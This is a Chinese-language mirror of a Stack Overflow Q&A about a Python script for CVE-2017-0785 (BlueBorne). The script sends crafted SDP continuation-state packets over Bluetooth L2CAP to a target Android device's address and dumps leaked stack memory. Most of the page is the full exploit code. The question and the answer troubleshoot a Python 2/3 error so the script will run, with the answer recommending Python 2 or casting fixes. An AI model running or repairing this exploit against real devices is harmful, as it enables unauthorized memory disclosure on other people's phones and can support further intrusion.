首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >bluetooth android问题的blueborne漏洞

bluetooth android问题的blueborne漏洞
EN

Stack Overflow用户
提问于 2021-06-11 01:46:40
回答 1查看 69关注 0票数 0

伙计们,我最近开始研究一个4年前关于python中蓝牙的漏洞。

下面是脚本:

代码语言:javascript
复制
from pwn import *

import bluetooth


if not 'TARGET' in args:
    log.info("Usage: CVE-2017-0785.py TARGET=XX:XX:XX:XX:XX:XX")
    exit()


target = args['TARGET']
service_long = 0x0100
service_short = 0x0001
mtu = 50
n = 30


def packet(service, continuation_state):
    pkt = '\x02\x00\x00'
    pkt += p16('7' + len(continuation_state))
    pkt += '\x35\x03\x19'
    pkt += p16(service)
    pkt += '\x01\x00'
    pkt += continuation_state
    return pkt


p = log.progress('Exploit')
p.status('Creating L2CAP socket')

sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bluetooth.set_l2cap_mtu(sock, mtu)
context.endian = 'big'

p.status('Connecting to target')
sock.connect((target, 1))

p.status('Sending packet 0')
sock.send(packet(service_long, '\x00'))
data = sock.recv(mtu)

if data[-3] != '\x02':
    log.error('Invalid continuation state received.')

stack = ''

for i in range(1, n):
    p.status('Sending packet %d' % i)
    sock.send(packet(service_short, data[-3:]))
    data = sock.recv(mtu)
    stack += data[9:-3]

sock.close()
p.success('Done')

print(hexdump(stack))

我得到的错误是:

代码语言:javascript
复制
Traceback (most recent call last):
  File "/home/ap/Desktop/CVE-2017-0785/CVE-2017-0785.py", line 34, in <module>
    sock.send(packet(service_long, '\x00'))
  File "/home/ap/Desktop/CVE-2017-0785/CVE-2017-0785.py", line 16, in packet
    pkt += p16('7' + len(continuation_state))
TypeError: can only concatenate str (not "int") to str

有没有人看到什么明显的错误或者我可以修改或扩展的东西来让它工作?谢谢。

EN

回答 1

Stack Overflow用户

发布于 2021-08-08 15:43:13

这里有同样的问题。

错误的原因是python的版本冲突。脚本是在python3环境中用python2...running编写的。将引发强制转换错误。(第16和18行)在"packet“function....p16(...)

请确保在PYTHON 2环境中运行脚本

如果您是在python3中,请尝试强制转换为字符串....."str(p16(.....))...你也可以尝试在python3中重写脚本.....祝你好运

票数 1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/67926145

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档